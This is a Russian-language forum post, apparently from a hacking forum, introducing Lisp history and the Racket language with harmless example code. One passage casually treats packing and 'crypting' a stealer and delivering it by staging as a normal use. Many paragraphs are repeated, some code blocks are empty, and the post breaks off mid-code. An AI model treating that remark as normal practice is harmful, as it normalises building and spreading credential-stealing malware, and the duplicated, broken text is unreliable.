D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Предисловие
Всем привет!
С вами Патрик.
Я продолжаю цикл статей про маргинальные языки программирования, и сегодня у нас достаточно интересный гость - язык программирования Racket. Да-да, как же можно писать про всякую экзотику, и обойти при этом семейство лиспообразных.
Несмотря на то, что Лисп - второй из самых древних языков программирования высокого уровня, доживший до наших дней (уступает только Фортрану), и каждый год его усердно пытаются закопать недоброжелатели - но он все никак не помрет. Такая невероятная живучесть обусловлена одной из главных особенностей языка - удивительной возможностью быстро адаптироваться (да-да, мы все еще говорим про язык программирования, а не про какой-то зомби вирус) к окружающей действительности.
В сегодняшенм эссе я постараюсь вкратце познакомить вас с концепциями языков семейства Lisp, а также рассказать про один из самых живых, качественных и подходящих для знакомства с этим семейством представителя - язык Racket. Ну и по традиции покодим что-нибудь интересненькое и полезное.
Поехали!
Краткая историческая справка
Ну что же, начнем эту историю с путешествия в далекое прошлое, а именно - аж в 1958 год. Как это обычно принято, за каждым серьезным языком программирования должен стоять не менее серьезный бородатый дяденька, иначе не по канону. И такой бородатый дяденька у нас имеется.
Знакомьтесь, Джон Маккарти - американский информатик, профессор Массачусетского технологического, обладатель премии Тьюринга, основоположник функционального программирования и автор термина "искусственный интеллект".
В пятидесятых господин Маккарти занимался исследованиями в области ИИ, но к сожалению существовавшие на тот момент инструменты были скудны и не позволяли вдоволь разгуляться. Возникла потребность в создании нового языка программирования, адекватного задачам, решаемым в этой области.
Основой для лиспа послужил язык IPL - язык обработки списков для проекта автоматического вывода теорем математической логики. Собственно, Маккарти взял оттуда алгоритм работы со списками и решил реализовать его на Фортране. Но как-то не пошло.
И здесь позволю себе вбросить интересный факт. Лисп известен нам, как язык, состоящий из смайликов чуть более, чем полностью. Но знали ли вы, что в изначальном Лиспе синтаксис был совсем другой? Изначально в Лиспе использовались M-выражения, которые больше напоминают нам традиционный формат записи команд, а S-выражения использовались лишь для внутреннего представления, как промежуточное значение. Но разработка транслятора в M-выражения затянулась, все привыкли к скобочному синтаксису, и благополучно забили на это дело
Есть достаточно интересное мнение о том, что Маккарти не "изобрел" Лисп, а "открыл" его. Это отчасти правда, потому что именно S-выражения позволили языку превратиться в тот инструмент, про который слагают легенды, и по иронии - они не должны были присутствовать в финальной версии языка, а использовались лишь как вспомогательный инструмент.
Но, вернемся к истории. Следом за первой версией последовал Lisp 1.5, и язык взлетел. Судите сами, в бородатые годы, когда люди были маленькие, а компьютеры большие, в Лиспе уже было:
Всем привет!
С вами Патрик.
Я продолжаю цикл статей про маргинальные языки программирования, и сегодня у нас достаточно интересный гость - язык программирования Racket. Да-да, как же можно писать про всякую экзотику, и обойти при этом семейство лиспообразных.
Несмотря на то, что Лисп - второй из самых древних языков программирования высокого уровня, доживший до наших дней (уступает только Фортрану), и каждый год его усердно пытаются закопать недоброжелатели - но он все никак не помрет. Такая невероятная живучесть обусловлена одной из главных особенностей языка - удивительной возможностью быстро адаптироваться (да-да, мы все еще говорим про язык программирования, а не про какой-то зомби вирус) к окружающей действительности.
В сегодняшенм эссе я постараюсь вкратце познакомить вас с концепциями языков семейства Lisp, а также рассказать про один из самых живых, качественных и подходящих для знакомства с этим семейством представителя - язык Racket. Ну и по традиции покодим что-нибудь интересненькое и полезное.
Поехали!
Краткая историческая справка
Ну что же, начнем эту историю с путешествия в далекое прошлое, а именно - аж в 1958 год. Как это обычно принято, за каждым серьезным языком программирования должен стоять не менее серьезный бородатый дяденька, иначе не по канону. И такой бородатый дяденька у нас имеется.
Знакомьтесь, Джон Маккарти - американский информатик, профессор Массачусетского технологического, обладатель премии Тьюринга, основоположник функционального программирования и автор термина "искусственный интеллект".
В пятидесятых господин Маккарти занимался исследованиями в области ИИ, но к сожалению существовавшие на тот момент инструменты были скудны и не позволяли вдоволь разгуляться. Возникла потребность в создании нового языка программирования, адекватного задачам, решаемым в этой области.
Основой для лиспа послужил язык IPL - язык обработки списков для проекта автоматического вывода теорем математической логики. Собственно, Маккарти взял оттуда алгоритм работы со списками и решил реализовать его на Фортране. Но как-то не пошло.
И здесь позволю себе вбросить интересный факт. Лисп известен нам, как язык, состоящий из смайликов чуть более, чем полностью. Но знали ли вы, что в изначальном Лиспе синтаксис был совсем другой? Изначально в Лиспе использовались M-выражения, которые больше напоминают нам традиционный формат записи команд, а S-выражения использовались лишь для внутреннего представления, как промежуточное значение. Но разработка транслятора в M-выражения затянулась, все привыкли к скобочному синтаксису, и благополучно забили на это дело
Есть достаточно интересное мнение о том, что Маккарти не "изобрел" Лисп, а "открыл" его. Это отчасти правда, потому что именно S-выражения позволили языку превратиться в тот инструмент, про который слагают легенды, и по иронии - они не должны были присутствовать в финальной версии языка, а использовались лишь как вспомогательный инструмент.
Но, вернемся к истории. Следом за первой версией последовал Lisp 1.5, и язык взлетел. Судите сами, в бородатые годы, когда люди были маленькие, а компьютеры большие, в Лиспе уже было:
- Полноценная среда программирования - интерактивная среда включала в себя редактор кода, интерпретатор и отладчик
- Сборщик мусора
- Динамические типы данных
И еще много других приколюх, которые сейчас нам кажется обыденностью, а в те года, для людей еще недавно писавших машинный код, это было как будто им Прометей огонь принес. Для справочки - до появления языка Си еще плюс минус 10 лет.
С 60х по 80ые в мире лиспов творилась лютая дичь - наплодилось куча реализаций, естественно несовместимых между собой. Каждый видел язык по своему, начали плодиться диалекты (Scheme, про который мы будем сегодня говорить, появился в 1976 году). Короче царил треш, угар и содомия, которая привела к ситуации, похожей на Вавилонскую башню.
К первой половине 80х существовало более 10 крупных и активно развивающихся диалектов Лиспа. Это очень круто, пока язык не выходит за пределы университетов, но невероятно плохо в продакшне. Для примера - можете посмотреть как больно разработчикам веб-приложений поддерживать три движка (реализованные в Chrome, Firefox и Safari соответственно). Постоянно где-то что-то не отрабатывает как надо из-за особенностей реализации. А теперь представьте, что платформ не три, а десять. Ад адовый.
Ну а дальше ситуация развивалась так - военным нужен был стандартизированный язык для своих, кхм, военных нужд. Взяли язык Ада, но не вышло. Тогда задонатили в Лисп и сказали - сделайте нормально, нам нужен стандарт.
Проектируемый стандарт с самого начала получил наименование «Common Lisp» («Общий Лисп»), подчёркивающее цель разработки — получить единый базовый язык, на основании которого можно было бы создавать программно-совместимые системы.
Разрабатывали всем селом (в том числе впервые - дистанционно, через сеть ARPANET) и в 1984 году процесс разработки стандарта успешно завершился и его результат был зафиксирован в первом издании руководства «Common Lisp: the Language» Гая Стила.
После этого Вавилонская башня понемногу утихла, в 1990 произошел пересмотр и значительное расширение стандарта, а в 1995 язык был стандартизирован ANSI. И плюс минус в таком виде язык Common Lisp и существует по наши дни.
Но, как заметил внимательный читатель, статья-то вовсе не про борщ (Common Lisp -> общелисп -> борщелисп, ну вы поняли, локальный мем). Статья про Racket, это вообще что, это вообще где и в какой момент мы свернули не туда?
А для того, чтобы разобраться в этом, давайте-ка поговорим про диалекты.
Что такое язык, диалект и реализация?
Для того, чтобы познать дзен Лиспа и не потеряться в обилии новых концепций, нам просто необходимо определить эти три термина и понять, что каждый из них означает.
Концепция дикая для многих современных языков программирования, но имхо - базовая и очень правильная.
Давайте объясню на очень-очень простом примере из реальной жизни, а именно - на примере обычных языков, на которых мы с вами говорим.
Есть язык - пусть для примера это будет английский. Несмотря не то, что язык один, в разных частях света и странах говорят на нем немного по-разному (ну или сильно по-разному).
Если вы возьмете американца, британца и допустим шотландца - каждый из них будет абсолютно уверен, что говорит на английском. Но их произношение будет настолько отличаться, что они с трудом будут понимать друг друга (реальная ситуация, без шуток, погуглите про шотландский акцент).
Более того, даже, кхм, "ключевые слова" в этих языках отличаются.
С 60х по 80ые в мире лиспов творилась лютая дичь - наплодилось куча реализаций, естественно несовместимых между собой. Каждый видел язык по своему, начали плодиться диалекты (Scheme, про который мы будем сегодня говорить, появился в 1976 году). Короче царил треш, угар и содомия, которая привела к ситуации, похожей на Вавилонскую башню.
К первой половине 80х существовало более 10 крупных и активно развивающихся диалектов Лиспа. Это очень круто, пока язык не выходит за пределы университетов, но невероятно плохо в продакшне. Для примера - можете посмотреть как больно разработчикам веб-приложений поддерживать три движка (реализованные в Chrome, Firefox и Safari соответственно). Постоянно где-то что-то не отрабатывает как надо из-за особенностей реализации. А теперь представьте, что платформ не три, а десять. Ад адовый.
Ну а дальше ситуация развивалась так - военным нужен был стандартизированный язык для своих, кхм, военных нужд. Взяли язык Ада, но не вышло. Тогда задонатили в Лисп и сказали - сделайте нормально, нам нужен стандарт.
Проектируемый стандарт с самого начала получил наименование «Common Lisp» («Общий Лисп»), подчёркивающее цель разработки — получить единый базовый язык, на основании которого можно было бы создавать программно-совместимые системы.
Разрабатывали всем селом (в том числе впервые - дистанционно, через сеть ARPANET) и в 1984 году процесс разработки стандарта успешно завершился и его результат был зафиксирован в первом издании руководства «Common Lisp: the Language» Гая Стила.
После этого Вавилонская башня понемногу утихла, в 1990 произошел пересмотр и значительное расширение стандарта, а в 1995 язык был стандартизирован ANSI. И плюс минус в таком виде язык Common Lisp и существует по наши дни.
Но, как заметил внимательный читатель, статья-то вовсе не про борщ (Common Lisp -> общелисп -> борщелисп, ну вы поняли, локальный мем). Статья про Racket, это вообще что, это вообще где и в какой момент мы свернули не туда?
А для того, чтобы разобраться в этом, давайте-ка поговорим про диалекты.
Что такое язык, диалект и реализация?
Для того, чтобы познать дзен Лиспа и не потеряться в обилии новых концепций, нам просто необходимо определить эти три термина и понять, что каждый из них означает.
Концепция дикая для многих современных языков программирования, но имхо - базовая и очень правильная.
Давайте объясню на очень-очень простом примере из реальной жизни, а именно - на примере обычных языков, на которых мы с вами говорим.
Есть язык - пусть для примера это будет английский. Несмотря не то, что язык один, в разных частях света и странах говорят на нем немного по-разному (ну или сильно по-разному).
Если вы возьмете американца, британца и допустим шотландца - каждый из них будет абсолютно уверен, что говорит на английском. Но их произношение будет настолько отличаться, что они с трудом будут понимать друг друга (реальная ситуация, без шуток, погуглите про шотландский акцент).
Более того, даже, кхм, "ключевые слова" в этих языках отличаются.
- autumn == fall
- biscuit == cookie
- film == movie
- flat == apartment
И это совсем базовые повседневные слова, без сленга.
Так вот, английский ЯЗЫК этих трех граждан - это ДИАЛЕКТЫ.
То есть язык один, но говорят они на нем по-разному, используя различные слова и конструкции.
Окей, с этим разобрались, остался еще один термин - реализация. Тут тоже все достаточно просто, как и в жизни. Американский английский общий для всех американцев, но каждый конкретно взятый американец говорит на нем по-своему. Использует характерные для себя речевые обороты, возможно сленг, возможно картавит или еще что-то.
Это РЕАЛИЗАЦИЯ - конкретное реальное воплощение выдуманных сущностей под названием язык и диалект.
В случае языков программирования это работает так:
Так вот, английский ЯЗЫК этих трех граждан - это ДИАЛЕКТЫ.
То есть язык один, но говорят они на нем по-разному, используя различные слова и конструкции.
Окей, с этим разобрались, остался еще один термин - реализация. Тут тоже все достаточно просто, как и в жизни. Американский английский общий для всех американцев, но каждый конкретно взятый американец говорит на нем по-своему. Использует характерные для себя речевые обороты, возможно сленг, возможно картавит или еще что-то.
Это РЕАЛИЗАЦИЯ - конкретное реальное воплощение выдуманных сущностей под названием язык и диалект.
В случае языков программирования это работает так:
- Есть язык Лисп, и он один, включает в себя несколько диалектов
- Есть диалекты - Common Lisp, Scheme, Clojure. Это все еще абстрактные сущности, описанные только на бумаге, в голове у создателей или в википедии
- И есть реализации - реально существующие интерпретаторы и компиляторы диалектов Common Lisp, Scheme и так далее
Такая концепция разделения достаточно логичная и на самом деле встречается повсеместно, просто часто слипаются понятия язык-диалект или диалект-реализация. Потому что у молодых языков как правило один язык, один диалект и одна реализация.
Из примеров - у языка С есть несколько реализаций, например gcc и clang.
У языка Python также есть несколько реализаций - CPython, IronPython и PyPy.
Термин диалекты как правило не используется в современных языках программирования, потому что новые диалекты как правило сразу вырождаются в новые отдельные языки со своими реализациями и приходят к формуле "язык == диалект == реализация". Из примеров на ум приходят разве что некоторые языки семейства ML.
И теперь, когда мы определились с терминологией - пришло время поговорить про Racket - реализацию диалекта Scheme языка Лисп.
Racket
Изначально язык назывался PLT Scheme и был разработан в качестве обучающего продукта для начинающих программистов. Поставлялся в виде среды разработки DrSchemer (сейчас DrRacket) и был дополнен различными обучающими языками программирования.
Позднее ребята выпустили достаточно крутую и культовую книгу How to Design Programs (HtDP), а затем, в 2010 году, провели ребрендинг своего детища и так появился Racket. Сязано это было в основном с тем, что Racket объективно перерос статус "еще одной реализации Scheme" и выродился в новый, более комплексный язык программирования
В 2018 году свой кастомный интерпретатор заменили на Chez Scheme, и стало совсем хорошо.
И на этом моменте неплохо бы вдумчивому читателю задать вопрос: Патрик, а почему именно Racket?
Почему из всех реализаций языка Scheme ты выбрал именно эту, что в ней такого особенного?
Ну что ж, давайте знакомиться, пройдя по нашим ставшим уже классическими пунктам.
Экосистема и установка
Я никогда не устану говорить про это и тыкать носом разработчиков языков программирования и другого ПО. Хотите, чтобы вашим продуктом пользовались? Делайте блин простую установку. Вокруг уже столько примеров, как можно сделать удобно, просто и в одну команду.
Слава богу, ребята из Racket осилили - под каждую поддерживаемую систему и разрядность есть установщик. Скачал. Запустил. Наслаждаешься.
Не пугайтесь жирнющего установщика (версия под Линукс х64 весит аж 236 метров) - просто туда понапихали всякого, включая среду разработки DrRacket. Если вам нужен только сам язык и пакетный менеджер - на сайте есть установщик Minimal Racket (32.5 мб), а все остальное можно будет доустановить позже, по мере необходимости.
Окей, с установкой все понятно и просто, за это Racket получает плюс.
Что там у нас дальше?
Про среду разработки DrRacket могу сказать вот что - наверняка это зашибись для обучения программированию, потому что здесь нет ничего лишнего, все просто и понятно. Но для боевых задач я предпочту VS Code. Запомните эту мысль, мы еще много раз вернемся к ней в разных контекстах в ходе сегодняшней статьи.
Но вообще за IDE из коробки тоже ставим плюс, потому что даже если мы ей не будем пользоваться, это серьезный показатель. Разработчики как бы говорят нам - смотрите, пацаны, на этом языке можно писать GUI и десктопный софт. И мы им конечно же верим.
Также в дефолтной поставке нам доступен менеджер пакетов raco, который умеет весь джнетльменский набор. Из особенностей - создатели позиционируют raco как "инструменты командной строки для Racket", поэтому помимо управления пакетами у нас тут до кучи:
Из примеров - у языка С есть несколько реализаций, например gcc и clang.
У языка Python также есть несколько реализаций - CPython, IronPython и PyPy.
Термин диалекты как правило не используется в современных языках программирования, потому что новые диалекты как правило сразу вырождаются в новые отдельные языки со своими реализациями и приходят к формуле "язык == диалект == реализация". Из примеров на ум приходят разве что некоторые языки семейства ML.
И теперь, когда мы определились с терминологией - пришло время поговорить про Racket - реализацию диалекта Scheme языка Лисп.
Racket
Изначально язык назывался PLT Scheme и был разработан в качестве обучающего продукта для начинающих программистов. Поставлялся в виде среды разработки DrSchemer (сейчас DrRacket) и был дополнен различными обучающими языками программирования.
Позднее ребята выпустили достаточно крутую и культовую книгу How to Design Programs (HtDP), а затем, в 2010 году, провели ребрендинг своего детища и так появился Racket. Сязано это было в основном с тем, что Racket объективно перерос статус "еще одной реализации Scheme" и выродился в новый, более комплексный язык программирования
В 2018 году свой кастомный интерпретатор заменили на Chez Scheme, и стало совсем хорошо.
И на этом моменте неплохо бы вдумчивому читателю задать вопрос: Патрик, а почему именно Racket?
Почему из всех реализаций языка Scheme ты выбрал именно эту, что в ней такого особенного?
Ну что ж, давайте знакомиться, пройдя по нашим ставшим уже классическими пунктам.
Экосистема и установка
Я никогда не устану говорить про это и тыкать носом разработчиков языков программирования и другого ПО. Хотите, чтобы вашим продуктом пользовались? Делайте блин простую установку. Вокруг уже столько примеров, как можно сделать удобно, просто и в одну команду.
Слава богу, ребята из Racket осилили - под каждую поддерживаемую систему и разрядность есть установщик. Скачал. Запустил. Наслаждаешься.
Не пугайтесь жирнющего установщика (версия под Линукс х64 весит аж 236 метров) - просто туда понапихали всякого, включая среду разработки DrRacket. Если вам нужен только сам язык и пакетный менеджер - на сайте есть установщик Minimal Racket (32.5 мб), а все остальное можно будет доустановить позже, по мере необходимости.
Окей, с установкой все понятно и просто, за это Racket получает плюс.
Что там у нас дальше?
Про среду разработки DrRacket могу сказать вот что - наверняка это зашибись для обучения программированию, потому что здесь нет ничего лишнего, все просто и понятно. Но для боевых задач я предпочту VS Code. Запомните эту мысль, мы еще много раз вернемся к ней в разных контекстах в ходе сегодняшней статьи.
Но вообще за IDE из коробки тоже ставим плюс, потому что даже если мы ей не будем пользоваться, это серьезный показатель. Разработчики как бы говорят нам - смотрите, пацаны, на этом языке можно писать GUI и десктопный софт. И мы им конечно же верим.
Также в дефолтной поставке нам доступен менеджер пакетов raco, который умеет весь джнетльменский набор. Из особенностей - создатели позиционируют raco как "инструменты командной строки для Racket", поэтому помимо управления пакетами у нас тут до кучи:
- Компиляция в байткод и декомпиляция обратно
- Сборка экзешников и их дистрибуция
- Линкер
- Тесты погонять можно
- Поискать и почитать доксы можно
- А также можно дописывать свои кастомные команды
В целом - удобно и просто, вопросов нет.
Документация
Этот момент я просто не мог не выделить в отдельный пункт.
У Racket одна из лучших документаций, что я видел в своей жизни. А живу я уже достаточно и доксов перечитал дай боже.
И вот важный момент - я не говорю что она красивая, тот же VuePress делает визуально намного более современные доксы. Попробую объяснить.
Racket изначально планировался как обучающий продукт. Он таковым по сути и остается. Доксы Racket писали настолько душные чуваки из научной братии, что здесь описано все. Буквально все. Любой несчастный if-else снабжен:
- Осознанными названиями аргументов, по которым понятно что это
- Их типами
- Подробным описанием того, что эта штука делает, а также как и где ее применять
- Парочкой примеров, чтобы вам совсем по кайфу было
При этом все это нашпиговано сквозными ссылками под завязку и весьма грамотно структурировано. Ах да, ну и система поиска есть.
Реально, где вы еще видели, например, такое про операцию сложения:
Короче, если бы я ставил оценку за документацию к этому продукту - это было бы 12 из 10.
Но следом вброшу чуть заранее ложку дегтя, чтобы внимательному читателю не казалось, что я излишне нахваливаю язык Racket. Доксы настолько офигенны, что это вводит в определенное заблуждение - кажется что раз все так круто описано, то и работать все должно не менее круто.
К сожалению, это не так. При ближайшем рассмотрении оказывается, что многого функционала для боевых задач нет и его придется реализовывать самостоятельно. Функционал из старых модулей может быть чудесно задокументирован, но не работать в принципе, и придется лезть в сорцы чтобы это исправить.
Структура кода и синтаксис
Окей, Racket мы установили, с базовой поставкой тоже разобрались.
Время писать хэллоуворлды и разбирать синтаксис (если то, с чем мы работаем в семействах языков лисп можно назвать синтаксисом).
Чтобы сразу на примерах, создадим файл с расширением - hello.rkt и напишем туда код нашей программы:
Код: Скопировать в буфер обмена
Код:
#lang racket
(displayln "Hello, XSS!")
Ну и соответственно запустим его, и увидим нужную нам надпись, убедившись что все у нас работает как надо
Код: Скопировать в буфер обмена
Код:
$ racket hello.rkt
Hello, XSS!
Тут я сразу хочу обратить внимание на две вещи.
Первая - чисто рэкетовская особенность синтаксиса, обусловленная тем, что Racket - амбассадор языково-ориентированного программирования и позиционирует себя как удобный инструмент для создания новых языков.
Это директива lang.
А прикол тут вот в чем - Racket позволяет нам немного поиграть в полиглота и писать код на большом количестве языков в рамках одного проекта. Чтобы интерпретатор/компилятор понял, как ему сейчас читать код и что с ним делать, используется директива lang. Под капотом все тоже очень просто - вызывается соответствующий reader macro.
Пара примеров языков, реализованных на Racket
Typed Racket - тот же Racket, но со строгой типизацией
Код: Скопировать в буфер обмена
Код:
#lang typed/racket
(struct pt ([x : Real] [y : Real]))
(: distance (-> pt pt Real))
(define (distance p1 p2)
(sqrt (+ (sqr (- (pt-x p2) (pt-x p1)))
(sqr (- (pt-y p2) (pt-y p1))))))
Scribble - язык для генерации PDF и HTML
Код: Скопировать в буфер обмена
Код:
#lang scribble/base
@title{On the Cookie-Eating Habits of Mice}
If you give a mouse a cookie, he's going to ask for a
glass of milk.
Datalog - логический язык программирования
Код: Скопировать в буфер обмена
Код:
#lang datalog
parent(john, douglas)
ancestor(A, B) :-
parent(A, B)
ancestor(A, B) :-
parent(A, C),
ancestor(C, B)
Из лулзов есть православный язык программирования Адина (для любителей 1С и кодить на кириллице).
Тут я думаю даже без понимания что конкретно делают эти три примера, видно невооруженным глазом, что это реально три разных языка с тремя разными синтаксисами. Но все три реализованы штатными средствами Racket, и это впечатляет (по крайней мере когда я питонистам такое показываю, они ссут кипятком и идут читать про Лисп).
Второе, на чем я хотел бы остановиться - собственно, вторая строчка нашего хэллоуворлда. Это то, за что лисперы любят лисп, а все остальные его люто ненавидят - S-выражения.
Чтобы сильно не упарываться, расскажу вкратце, как это работает, в чем прикол и почему бы не писать как все нормальные люди (эту фишку кстати поддерживают все Scheme, используя SIX еще с бородатых годов. Становится похоже на Ruby, который кстати тоже многие считают лиспом без скобочек).
Типичный код на лиспах выглядит примерно вот так:
Код: Скопировать в буфер обмена
Код:
(define frame (new frame% [label "Guess"]))
(define secret (random 5))
(define ((check i) btn evt)
(define found? (if (= i secret) "Yes" "No"))
(message-box "?" found?)
(when (= i secret)
(send frame show #false)))
(for ([i (in-range 5)])
(new button%
[label (~a i)]
[parent frame]
[callback (check i)]))
(send frame show #t)
С непривычки очень больно, особенно математические операции. Дело в том, что LISP == LISt Processing language, то есть язык обработки списков. И с кодом язык работает как с большим списком с вложениями.
Прикол тут вот в чем. Внимательный читатель заметит, что на самом деле исходный код любой программы на лиспе - это уже готовое AST. Его не надо парсить, оно просто сразу есть.
Просто постарайтесь осознать этот дзен. По сути у Лиспа нет синтаксиса. Вы одинаково (визуально) создаете списки, переменные, функции, объекты, методы, итераторы и все, что душе угодно. А это в свою очередь позволяет вам реализовывать функционал, которого не было в языке изначально.
Краткий пример - в Python есть новая (относительно) и прикольная штука под названием генераторы списков:
Python: Скопировать в буфер обмена
Код:
initial_list = [1, 2, 3]
generated_list = [x*2 for x in initial_list]
Допустим мне эта конструкция понравилась и я хочу так же.
Беру и пишу так же:
Код: Скопировать в буфер обмена
Код:
(define initial-list '(1 2 3))
(define generated-list
(genlist (* x 2) for x in initial-list))
И потом когда надо будет - реализую макрос genlist.
На мой взгляд именно эта фича - возможность изменять язык под свои задачи - и является причиной того, что Лиспы со всеми своими недостатками все еще живы. Очень сложно соперничать с языком, в который может как вирус, настолько быстро мутировать и адаптироваться под изменяющуюся реальность.
Хочешь новую фичу? Добавь.
Всю жизнь мечтал создавать функции командой createFuckingFunction? Создавай, и никто тебя не остановит.
Но, не будем сильно глубоко нырять в макросы и магию Лиспа (пока). Пройдемся по основным ключевым моментам.
Вернемся к нашему хэллоуворлду и немного подправим его, чтобы получилось GUI приложение.
Код: Скопировать в буфер обмена
Код:
#lang racket/gui
(require racket/gui/base)
(define frame (new frame% [label "Hello, World!"]))
(define msg (new message% [parent frame]
[label "No events so far..."]))
(new button% [parent frame]
[label "Click Me"]
(callback (lambda (button event)
(send msg set-label "Clicked!"))))
(send frame show #t)
Здесь мы видим, как происходит импорт модулей в Racket (ничего необычного) и систему работы с графическими интерфейсами - тут тоже все достаточно прозаично, обычный декларативный стиль, похожий чем-то на нашего предыдущего гостя Red.
Окей, а давайте-ка мы возьмем пару примеров и соберем их в standalone executable, чтобы плюс минус понять размер файлов на выходе.
Пример 1 - Hello World, использующий racket/base
Код: Скопировать в буфер обмена
Код:
#lang racket/base
(displayln "Hello, XSS")
Пример 2 - Hello World, использующий основной racket
Код: Скопировать в буфер обмена
Код:
#lang racket
(displayln "Hello, XSS")
Пример 3 - Hello World на R6RS (базовый стандарт языка Scheme)
Код: Скопировать в буфер обмена
Код:
#lang r6rs
(displayln "Hello, XSS")
При этом хочу обратить внимание на то, что для большинства задач 12 мегабайт - все еще очень разумный вес для системы, способной выполнять код на кастомном языке.
Пример 4 - Hello World с GUI
Тут уже все ожидаемо - вес должен быть еще больше, и так оно и есть. Вес на выходе - 22 мб. Опять же, много это или мало - зависит от специфики ваших задач. За небольшой доп вес вы получаете отсутствие мозгоебства с установкой зависимостей и полностью портативный софт с графическим интерфейсом. Если сравнивать с жирнейшим электроном, у которого размер файлов в среднем 300 метров - так вообще сказка.
Какие выводы мы можем сделать, исходя из этих данных?
Да если честно, особо никаких. Повторюсь - много это или мало зависит исключительно от ваших задач, как и от векторов атак. Да, наверняка писать стиллер на Racket, паковать его в архив и кидать на амбразуру - не лучшая затея, просто потому что вы запаритесь криптовать 2 мб (или 12 мб, в зависимости от комплектации). Но с текущими скоростями размер файлов в целом приемлемый для загрузки даже по мобильному интернету, поэтому если вы используете стейджинг - никаких проблем не возникнет.
Cheat Sheet по синтаксису
Типы данных тут классические:
- Boolean - #t и #f, аналоги true и false, соответственно
- Числа - условно делятся на точные и неточные. Точные - это целые числа, дроби и комплексные числа с целыми действительной и мнимой частями. Неточные - это наши числа с плавающей запятой, а также комплексные в которых одна из частей с плавающей запятой
- Символы - классические юникод символы, обозначаются вот так #\A
- Строки - тоже обошлось без извратов. Строка - это просто массив символов
- Байты и байтовые строки - аналогично, обозначаются вот так #"Apple"
- Символы - особый, чисто лисповский тип данных. Представляет из себя атомарное значение, записывается с помощью одинарной кавычки 'a, 'bob и так далее. Используется глобально - для подавления вычисления. Локально - чаще всего так передаются идентификаторы, например названия переменных и функций
- Пары и списки - опять же, родной и неотъемлемый тип данных для лиспов. Пара выглядит вот так '(1 . 2), а список вот так '(1 2 3). В плане реализации представляет собой классический односвязный список. Не буду вдаваться сильно в подробности, если интересно - можете почитать про cons cells и как это работает.
- Хэш-таблицы, они же словари - абсолютно упоротые. При создании обязательно указать, какой оператор сравнения будет использоваться - а их тут три штуки. При этом на каждый из трех вариантов есть еще два - мутабельные и иммутабельные. Итого шесть разных хеш таблиц. При этом в иммутабельные таблицы тоже можно добавлять новые ключи. У новичков вызывает лютый ступор, потому что словари - настолько распространенная структура данных, что хочется чтоб она была одна, рабочая и понятная
Глобальные переменные создаются вот так:
Код: Скопировать в буфер обмена
А локальные вот так:
Код: Скопировать в буфер обмена
Можно задать локальные переменные рекурсивно:
Код: Скопировать в буфер обмена
Также можно создавать именованные блоки локальных переменных - чтобы можно было прыгать по коду и реализовать рекурсию
Код: Скопировать в буфер обмена
Функции в Racket создаются тем же способом, что и переменные:
Код: Скопировать в буфер обмена
По сути это синтаксический сахар для (define f (lambda ...)).
И вызываются функции вот так:
Код: Скопировать в буфер обмена
Поскольку Racket - реализация языка программирования Scheme, функциональный стиль для него является родным, со всеми вытекающими. Здесь есть лямбды, функции как объекты первого порядка, замыкания, продолжения и так далее.
Условные операторы - их четыре, потому что зачем еще что то.
Классически if-else
Код: Скопировать в буфер обмена
И cond, для серии проверок
Код: Скопировать в буфер обмена
When и unless, для любителей писать if по-своему:
Код: Скопировать в буфер обмена
Кстати да, обратили внимание на квадратные скобки в примере про cond? Достаточно интересный прикол языка Racket: можно использовать для записи кода любой тип скобок - квадратные, круглые и фигурные. И комбинировать их по-разному, главное чтобы открывающаяся и закрывающаяся скобка совпадали по типу (то есть открыть круглой, а закрыть квадратной не получится).
Сомнительно применение этой фичи в реальном мире, потому что во всех редакторах сейчас есть выделение скобочек цветом + автоматическое закрытие, поэтому запутаться вряд ли получится. Но прикольно, если вас допустим бесит нажимать шифт, но у вас очень развитый мизинец правой руки - можно все писать в квадратных скобках.
Присваивание и другие деструктивные операции
В языках, которые стремятся к чистоте, неизменяемости данных и функциональной парадигме, принято выделять конструктивные и деструктивные операции.
Конструктивные - это операции или функции, которые НЕ изменяют объект, а возвращают новый с необходимыми изменениями.
Деструктивные же операции изменяют сам объект. Принято считать, что такой подход более опасный и потенциально ведет к большему количеству труднообнаружимых ошибок. Поэтому в некоторых языках, и в том числе в Racket принята следующая конвенция.В имени деструктивного оператора или функции обязательно в конце должен быть восклицательный знак.
Например, присваивание выглядит вот так:
Код: Скопировать в буфер обмена
В дополнение к этому есть соглашение, что предикаты (функции, возвращающие булево значение) заканчиваются вопросительным знаком.
Скажу честно - это реально удобно и я лично стараюсь придерживаться подобной практики во всех проектах с которыми работаю, независимо от языка. Потому что дописать символ в конец не сложно, зато можно по одному только названию функции понять, что она делает и как она это делает. Берем на заметку.
Про кавычку
Одна из самых важных тем в работе с любыми лиспообразными языками. Как мы уже видели на примерах, в Racket код равно данные, а данные равно код, все это смешано перемешано и свободно преобразуется друг в друга. Как понять что есть что? Как сказать, что именно я хочу сделать - вызвать функцию или на первое место в списке поставить функцию? Во всем этом сейчас разберемся.
Необходимые нам символы:
Код: Скопировать в буфер обмена
(define x 1)
А локальные вот так:
Код: Скопировать в буфер обмена
Код:
(let ((x 1))
(displayln x))
Можно задать локальные переменные рекурсивно:
Код: Скопировать в буфер обмена
Код:
(letrec ([swing
(lambda (t)
(if (eq? (car t) 'tarzan)
(cons 'vine
(cons 'tarzan (cddr t)))
(cons (car t)
(swing (cdr t)))))])
(swing '(vine tarzan vine vine)))
Также можно создавать именованные блоки локальных переменных - чтобы можно было прыгать по коду и реализовать рекурсию
Код: Скопировать в буфер обмена
Код:
(define (duplicate pos lst)
(let dup ([i 0]
[lst lst])
(cond
[(= i pos) (cons (car lst) lst)]
[else (cons (car lst) (dup (+ i 1) (cdr lst)))])))
> (duplicate 1 (list "apple" "cheese burger!" "banana"))
'("apple" "cheese burger!" "cheese burger!" "banana")
Функции в Racket создаются тем же способом, что и переменные:
Код: Скопировать в буфер обмена
Код:
(define (f x)
(+ x 1))
По сути это синтаксический сахар для (define f (lambda ...)).
И вызываются функции вот так:
Код: Скопировать в буфер обмена
Код:
> (f 2)
3
Поскольку Racket - реализация языка программирования Scheme, функциональный стиль для него является родным, со всеми вытекающими. Здесь есть лямбды, функции как объекты первого порядка, замыкания, продолжения и так далее.
Условные операторы - их четыре, потому что зачем еще что то.
Классически if-else
Код: Скопировать в буфер обмена
Код:
(if (> x 1)
"more"
"less")
И cond, для серии проверок
Код: Скопировать в буфер обмена
Код:
(cond
[(positive? -5) (error "doesn't get here")]
[(zero? -5) (error "doesn't get here, either")]
[(positive? 5) 'here])
When и unless, для любителей писать if по-своему:
Код: Скопировать в буфер обмена
Код:
(when (positive? -5)
